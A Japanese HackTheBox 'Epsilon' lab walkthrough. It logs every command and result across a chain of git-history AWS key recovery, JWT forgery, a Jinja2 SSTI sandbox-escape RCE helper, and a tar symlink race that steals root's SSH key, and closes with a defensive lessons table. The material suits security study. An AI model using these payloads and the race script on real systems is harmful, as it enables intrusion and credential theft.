HackTheBox: Epsilon — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/5000
→
22/80/5000
ffuf + git-dumper
.git/HEAD 露出 → AWS認証情報復元
→
.git/HEAD 露出 → AWS認証情報復元
AWS Lambda 列挙
costume_shop_v1 → APIGW secret漏洩
→
costume_shop_v1 → APIGW secret漏洩
JWT偽造 → 認証バイパス
admin Cookie
→
admin Cookie
SSTI RCE
/order costume パラメータ
→
/order costume パラメータ
tom シェル取得
user.txt ✓
→
user.txt ✓
backup.sh tar -h
symlink レース (5秒窓)
→
symlink レース (5秒窓)
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン → バージョン・スクリプトスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.96.151 nmap -sV -sC -p 22,80,5000 10.129.96.151
RESULT
Nmap scan report for cloud.epsilon.htb (10.129.96.151) Host is up (0.28s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http Apache httpd 2.4.41 |_http-title: Did not follow redirect to http://cloud.epsilon.htb/403.html |_http-server-header: Apache/2.4.41 (Ubuntu) 5000/tcp open http Werkzeug/2.0.2 Python/3.8.10 |_http-title: Costume Shop Service Info: Host: 127.0.1.1; OS: Linux
ℹ️
Nmap のリダイレクト先
cloud.epsilon.htb が既に vhost 名を示唆している。
/etc/hosts に 10.129.96.151 cloud.epsilon.htb を追記しておく。
ポート80への直接アクセス — Forbidden
BASH
curl -s -I http://10.129.96.151/
RESULT
HTTP/1.1 403 Forbidden
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1
ポート5000 — Costume Shop ログイン画面
NOTE
ブラウザで http://10.129.96.151:5000/ を開くと "Welcome to Epsilon Costume Shop!" というログインフォームが表示される。admin/admin 等の総当たりや簡単な SQLi は失敗する。
PHASE 2
Git露出調査 — ffuf & git-dumper
ffuf でポート80のファイル・ディレクトリを列挙
BASH
ffuf -u http://10.129.96.151/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403
RESULT
.git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2]
🚨
重要発見: ポート80ルートに
.git/HEAD が200で公開されている=
Git リポジトリがそのままWebルートに露出しており、git-dumper で復元可能。
git-dumper でリポジトリを復元
BASH
pip3 install git-dumper git-dumper http://10.129.96.151/.git ./repo
RESULT
[-] Testing http://10.129.96.151/.git/HEAD [200] [-] Testing http://10.129.96.151/.git/ [403] [-] Fetching common files ... [-] Running git checkout . $ ls -la repo/ server.py track_api_CR_148.py
server.py — Flask認証ロジック (secretはマスク済み)
RESULT (server.py 抜粋)
secret = '<secret_key>'
@app.route("/order",methods=["GET","POST"])
def order():
if verify_jwt(request.cookies.get('auth'),secret):
if request.method=="POST":
costume=request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl=render_template_string(message,costume=costume)
return render_template('order.html',message=tmpl)
⚠️
auth Cookie は jwt.encode({"username":"admin"}, secret, "HS256") で発行される。
secret の値さえ手に入れば admin として任意の JWT を偽造できる。
さらに /order の costume パラメータが .format() で組み立てた文字列を
render_template_string() に渡している —— SSTI の匂いが強い実装。
track_api_CR_148.py の現行版 — AWS認証情報もマスク済み
RESULT (現行版)
from boto3.session import Session
session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')
ℹ️
現行版はマスク済みだが、git履歴には過去のコミットが残っている。
git log で全履歴を確認する。
git log で履歴を確認 → 最初のコミットに平文認証情報
BASH
git -C repo log --all --oneline git -C repo show 7cf92a7a09e523c1c667d13847c9ba22464412f3
RESULT
c622771 Fixed Typo b10dd06 Adding Costume Site c514416 Updatig Tracking API 7cf92a7 Adding Tracking API Module ← 最初のコミット commit 7cf92a7a09e523c1c667d13847c9ba22464412f3 Author: root <root@epsilon.htb> Adding Tracking API Module diff --git a/track_api_CR_148.py b/track_api_CR_148.py new file mode 100644 +session = Session( + aws_access_key_id='AQLA5M37BDN6FJP76TDC', + aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A', + region_name='us-east-1', + endpoint_url='http://cloud.epsilong.htb')
🚨
重要発見: ファイル作成時点の最初のコミットに AWS認証情報が平文で
残っていた。後のコミット(“Updatig Tracking API”)でマスクされたが、Git履歴からは消えない。
Access Key:
Secret Key:
AQLA5M37BDN6FJP76TDCSecret Key:
OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
⚠️
ハマりどころ:
git log -p は新しいコミット順に表示されるため、
単純に「最初にマッチした行」を拾うと現行版のマスク済みプレースホルダ(<aws_access_key_id>)
を実値と誤認してしまう。必ず最も古いコミット(diffの一番下)を確認すること。
PHASE 3
AWS Lambda 関数列挙 → APIGW secret 奪取
awscli セットアップ (endpoint_url = カスタムLocalStack風エンドポイント)
BASH
echo "10.129.96.151 cloud.epsilon.htb" | sudo tee -a /etc/hosts # 注意: 通常の awscli v2 (apt版) だとカスタムエンドポイントで 500 エラーになることがある。 # PDF記載の動作確認済みバージョンを明示的にインストールする。 curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64-2.23.6.zip" -o "awscliv2.zip" unzip awscliv2.zip && sudo ./aws/install --update aws configure # AWS Access Key ID: AQLA5M37BDN6FJP76TDC # AWS Secret Access Key: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A # Default region name: us-east-1
Lambda 関数一覧を取得
BASH
aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions
RESULT
{
"Functions": [
{
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Handler": "my-function.handler",
"CodeSize": 478,
"State": "Active"
}
]
}
get-function でコード配置場所(Code.Location)を取得
BASH
aws --endpoint-url=http://cloud.epsilon.htb lambda get-function \ --function-name=costume_shop_v1 | jq .Code.Location
RESULT
"http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
Lambda コードをダウンロード → APIGW secret を発見
BASH
wget "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code" -O code.zip unzip code.zip -d lambda_code cat lambda_code/lambda_function.py
RESULT
import json
secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124
'''Beta release for tracking'''
def lambda_handler(event, context):
try:
id=event['queryStringParameters']['order_id']
...
🚨
重要発見: Lambda関数コード内にAPIGW認可用の
secret がハードコードされている。
コメントを読むと「APIゲートウェイの認可用」だが、
server.py の Flask JWT実装と全く同じ secret が使い回されていることが後の検証で判明する。
PHASE 4
JWT偽造 → 認証バイパス → SSTI発見
Python で admin JWT Cookie を偽造
PYTHON
python3 -c "
import jwt
t = jwt.encode({'username':'admin'}, 'RrXCv\`mrNe!K!4+5\`wYq', algorithm='HS256')
print(t.decode() if isinstance(t, bytes) else t)
"
RESULT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4
⚠️
PyJWTはHMAC鍵長が32バイト未満だと
InsecureKeyLengthWarning を標準エラーに出力する。
警告メッセージが標準出力の末尾行に紛れ込むと、単純に「出力の最終行」をトークンとして
取得するスクリプトでは 警告文をトークンと誤認してしまう事故が起きやすい。
eyJ で始まる3セグメントのJWT構造を正規表現で明示的に抽出するのが安全。
偽造Cookieで /home にアクセス — 認証バイパス成功
BASH
curl -s -b "auth=<forged_token>" http://10.129.96.151:5000/home
RESULT
<title>Costume Shop</title>
<li class="nav-btn"><button>Welcome Admin</button></li>
<h4>Welcome to Costume Shop!</h4>
✅
認証バイパス成功! “Welcome Admin” が表示され、ログインフォームを一切使わずに
管理者としてアプリにアクセスできた。
/order の costume パラメータで SSTI を確認
BASH
curl -s -b "auth=<forged_token>" http://10.129.96.151:5000/order \
--data-urlencode 'costume={{ 7*7 }}' \
--data-urlencode 'q=1' --data-urlencode 'addr=test'
RESULT
Your order of "49" has been placed successfully.
🚨
SSTI (Server-Side Template Injection) 確認!
{{ 7*7 }} がサーバー側で
Jinja2 として評価され 49 が返された。costume パラメータは無害化されずに
render_template_string() に渡されている。
PHASE 5
SSTI RCE 化 & user.txt 取得
Jinja2 サンドボックス脱出ペイロードでRCE化
NOTE
Flask/Jinja2 の定番サンドボックス脱出チェーン
self._TemplateReference__context.namespace.__init__.__globals__.os
経由で os モジュールに到達し、popen() で任意コマンドを実行する。
レスポンス本文にコマンド出力がHTMLエスケープされて埋め込まれるため、
SSTISTART/SSTIEND のマーカーで囲んで正規表現で安全に切り出す。
コマンド自体は base64 化して echo|base64 -d|bash でデコード実行することで、
シングルクォートや特殊文字が popen('...') の呼び出し構文を壊さないようにする。
BASH (ヘルパー関数)
ssti() {
local cmd="$1"
local b64=$(echo -n "$cmd" | base64 -w0)
local payload="{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('echo SSTISTART; echo ${b64}|base64 -d|bash; echo SSTIEND').read() }}"
curl -s -b "auth=<forged_token>" http://10.129.96.151:5000/order \
--data-urlencode "costume=$payload" \
--data-urlencode "q=1" --data-urlencode "addr=test" \
| grep -Pzo '(?<=SSTISTART\n).*(?=\nSSTIEND)'
}
ssti "id"
RESULT
uid=1000(tom) gid=1000(tom) groups=1000(tom)
✅
RCE成功! SSTI経由で任意コマンド実行が可能になった。ユーザーは
tom。
user.txt 取得
BASH
ssti "cat /home/tom/user.txt"
RESULT
c9611ae11edef712d7ac5ef1c74e3ebd
user.txt — tom@epsilon
c9611ae11edef712d7ac5ef1c74e3ebd
PHASE 6
backup.sh の tar -h symlink レース → root.txt
root cron ジョブ backup.sh の内容確認
BASH
ssti "ls -la /usr/bin/backup.sh" ssti "cat /usr/bin/backup.sh"
RESULT
-rwxr-xr-x 1 root root 362 Dec 1 2021 /usr/bin/backup.sh #!/bin/bash file=`date +%N` /usr/bin/rm -rf /opt/backups/* /usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/ sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum sleep 5 check_file=`date +%N` /usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar" /usr/bin/rm -rf /opt/backups/*
🚨
脆弱性: root権限のcron (毎分実行) が
①
② 5秒スリープ
③
という手順を踏む。
①
/var/www/app/ をtar化 → sha1sumを checksum に保存② 5秒スリープ
③
tar -h(シンボリックリンクの実体を辿って圧縮)で
checksumと1本目のtarを /var/backups/web_backups/ へ退避という手順を踏む。
-h フラグにより、②〜③の間に
checksum をシンボリックリンクへ差し替えておけば、
リンク先の実ファイルがrootによってアーカイブされてしまう。
5秒の競合窓を狙い checksum を root SSH秘密鍵へのsymlinkに差し替え
BASH
# checksum ファイルが存在する(=backup.sh が1本目のtar+sha1sum完了直後、
# 5秒sleep中)瞬間を捉え、即座にsymlinkへ差し替える
RACE_CMD="if [ -e /opt/backups/checksum ]; then \
rm -f /opt/backups/checksum; \
ln -sf /root/.ssh/id_rsa /opt/backups/checksum; \
echo SYMLINKED; fi"
for i in $(seq 1 90); do
OUT=$(ssti "$RACE_CMD")
echo "$OUT" | grep -q SYMLINKED && { echo "[+] symlink placed (attempt #$i)"; break; }
sleep 1.5
done
RESULT
[*] Polling for the 5-second checksum window...
[+] Symlink placed at attempt #17 (43s elapsed)
ℹ️
backup.sh は毎分実行のため、checksumが存在する5秒間を捉えるまで数十秒〜数分かかることがある。
SSTI RCE をステートレスなポーリングチャネルとして繰り返し叩くだけでよく、
逆シェルやリスナーを維持する必要はない。
次回cron実行 (tar -h) を待ち、退避されたアーカイブから鍵を回収
BASH
# symlink差し替え成功後、次のbackup.sh実行(2本目のtar -h)でsymlink先の # id_rsaの中身がchecksumの"実体"としてアーカイブされる。 # /var/backups/web_backups/ の最新tarを展開してchecksum(=id_rsa)を回収する。 EXTRACT_CMD='LATEST=$(ls -t /var/backups/web_backups/ | head -1); \ cp "/var/backups/web_backups/$LATEST" /tmp/x.tar && \ tar -xf /tmp/x.tar -C /tmp && cat /tmp/opt/backups/checksum' ssti "$EXTRACT_CMD"
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA1w26V2ovmMpeSCDauNqlsPHLtTP8dI8HuQ4yGY3joZ9zT1NoeIdF
<snip>
-----END OPENSSH PRIVATE KEY-----
✅
root の SSH秘密鍵を回収成功! tar -h の symlink追跡挙動を利用して、
本来アクセスできない
/root/.ssh/id_rsa の中身をrootプロセス自身に
アーカイブさせることで持ち出した。
回収した秘密鍵で root として SSH ログイン → root.txt
BASH
chmod 600 root_id_rsa ssh -i root_id_rsa root@10.129.96.151 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root) 2d6bf9a811674b310756ad3666d6ab95
root.txt — root@epsilon
2d6bf9a811674b310756ad3666d6ab95
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — tom@epsilon
c9611ae11edef712d7ac5ef1c74e3ebd
root.txt — root@epsilon
2d6bf9a811674b310756ad3666d6ab95
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Git リポジトリ露出 | Apache (port 80, Webルート) | ソースコード・履歴の漏洩 | Medium | ffuf で .git/HEAD を発見、git-dumper でリポジトリ全体を復元 |
| Git履歴への機密情報混入 | track_api_CR_148.py | AWS認証情報の平文漏洩 | High | git log -p で最初のコミットに残る平文AWS認証情報を復元 |
| シークレット使い回し | AWS Lambda (costume_shop_v1) + Flask JWT | 認証バイパス | High | Lambdaコード内のAPIGW secretがFlaskのJWT secretと同一 → admin Cookie偽造 |
| SSTI (Jinja2) | /order の costume パラメータ | リモートコード実行 | Critical | render_template_string()への未サニタイズ入力、サンドボックス脱出チェーンでRCE |
| tar -h シンボリックリンク追跡 | root cron /usr/bin/backup.sh | 権限昇格 (root) | Critical | 5秒の競合窓中に checksum ファイルを root SSH秘密鍵へのsymlinkに差し替え、次回tar -h実行で実体を回収 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 22/80/5000、Costume Shop 検出 |
| 2 | Git露出 | ffuf + git-dumper + git log -p | AWS認証情報 (AQLA5M37BDN6FJP76TDC/…) |
| 3 | AWS Lambda | awscli list-functions/get-function | APIGW/Flask共用JWT secret |
| 4 | 認証バイパス+SSTI発見 | JWT偽造 + {{7*7}}テスト | admin Cookie、SSTI脆弱性確認 |
| 5 | RCE化 | Jinja2サンドボックス脱出 + base64ラップ | user.txt 取得 (tom) |
| 6 | 権限昇格 | backup.sh tar -h symlinkレース | root.txt 取得(root SSH鍵経由) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
本番Webルートに .git ディレクトリがデプロイされていた |
デプロイパイプラインで .git を除外する。Webサーバー設定で .git への直接アクセスを拒否(<DirectoryMatch "\.git"> Require all denied </DirectoryMatch> 等)。 |
| 機密情報をコミットしてしまい、後で「マスク」しても履歴に残る | 一度コミットした機密情報は git filter-repo 等で履歴ごと除去し、該当の鍵は必ずローテーションする。マスクは削除ではない。 |
| 複数サービス間でシークレットを使い回している(APIGW secret = Flask JWT secret) | サービスごとに独立したシークレットを発行し、Secrets Manager等で一元管理・ローテーションする。 |
ユーザー入力を render_template_string() にそのまま渡すSSTI脆弱性 |
ユーザー制御下の文字列をテンプレートとして評価しない。固定テンプレート+変数バインディング(render_template('order.html', costume=costume))を使う。Jinja2のSandboxedEnvironmentも補助的に利用する。 |
root cronの tar -chvf がシンボリックリンクの実体を追跡し、TOCTOU競合が存在する |
-h フラグを使わない、または一時ファイルをroot以外が書き込めない専用ディレクトリに隔離する。バックアップ対象パスの所有者・シンボリックリンク有無を事前検証する。 |

